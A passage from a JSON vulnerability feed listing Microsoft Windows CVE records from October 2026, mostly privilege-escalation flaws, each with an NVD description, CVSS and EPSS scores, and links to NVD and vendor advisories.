overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.390Z","updatedAt":"2026-10-20T18:18:52.743Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 26h1","stacks":["Microsoft Windows","windows 11 26h1"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102209","asOf":"2026-10-20T18:18:52.743Z"},"epss":{"probability":0.00278,"percentile":0.20019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102209","type":"primary","publishedAt":"2026-10-13T19:17:46.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102209","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102208","cveId":"CVE-2026-102208","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.230Z","updatedAt":"2026-10-20T18:24:10.370Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102208","asOf":"2026-10-20T18:24:10.370Z"},"epss":{"probability":0.00289,"percentile":0.21244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102208","type":"primary","publishedAt":"2026-10-13T19:17:46.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102208","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102207","cveId":"CVE-2026-102207","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.027Z","updatedAt":"2026-10-20T18:25:30.877Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102207","asOf":"2026-10-20T18:25:30.877Z"},"epss":{"probability":0.00222,"percentile":0.12592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102207","type":"primary","publishedAt":"2026-10-13T19:17:46.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102207","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102205","cveId":"CVE-2026-102205","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:45.660Z","updatedAt":"2026-10-20T18:27:52.003Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102205","asOf":"2026-10-20T18:27:52.003Z"},"epss":{"probability":0.00365,"percentile":0.30067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102205","type":"primary","publishedAt":"2026-10-13T19:17:45.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102205","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102203","cveId":"CVE-2026-102203","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.","summary":"Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.","detail":"Access of resource using incompatible type ('type confusion') in RPC Runtime allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:45.333Z","updatedAt":"2026-10-20T18:29:10.303Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102203","asOf":"2026-10-20T18:29:10.303Z"},"epss":{"probability":0.0085,"percentile":0.57915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102203","type":"primary","publishedAt":"2026-10-13T19:17:45.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102203","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102202","cveId":"CVE-2026-102202","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:45.193Z","updatedAt":"2026-10-20T18:30:00.097Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","Microsoft Office","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102202","asOf":"2026-10-20T18:30:00.097Z"},"epss":{"probability":0.00406,"percentile":0.34548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102202","type":"primary","publishedAt":"2026-10-13T19:17:45.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102202","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102201","cveId":"CVE-2026-102201","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:45.047Z","updatedAt":"2026-10-20T18:30:43.490Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102201","asOf":"2026-10-20T18:30:43.490Z"},"epss":{"probability":0.00365,"percentile":0.30068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102201","type":"primary","publishedAt":"2026-10-13T19:17:45.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102201","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102197","cveId":"CVE-2026-102197","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:44.533Z","updatedAt":"2026-10-20T16:57:28.893Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102197","asOf":"2026-10-20T16:57:28.893Z"},"epss":{"probability":0.00289,"percentile":0.21244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102197","type":"primary","publishedAt":"2026-10-13T19:17:44.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102197","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102196","cveId":"CVE-2026-102196","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:44.387Z","updatedAt":"2026-10-20T17:04:49.800Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102196","asOf":"2026-10-20T17:04:49.800Z"},"epss":{"probability":0.00365,"percentile":0.30068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102196","type":"primary","publishedAt":"2026-10-13T19:17:44.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102196","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102195","cveId":"CVE-2026-102195","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:44.257Z","updatedAt":"2026-10-20T17:19:04.963Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102195","asOf":"2026-10-20T17:19:04.963Z"},"epss":{"probability":0.00289,"percentile":0.21244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102195","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102195","type":"primary","publishedAt":"2026-10-13T19:17:44.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102195","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102194","cveId":"CVE-2026-102194","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:44.073Z","updatedAt":"2026-10-20T17:20:32.993Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102194","asOf":"2026-10-20T17:20:32.993Z"},"epss":{"probability":0.00289,"percentile":0.21245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102194&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102194","type":"primary","publishedAt":"2026-10-13T19:17:44.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102194","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102194&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102194, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102193","cveId":"CVE-2026-102193","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:43.930Z","updatedAt":"2026-10-20T17:24:12.070Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102193","asOf":"2026-10-20T17:24:12.070Z"},"epss":{"probability":0.00289,"percentile":0.21245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 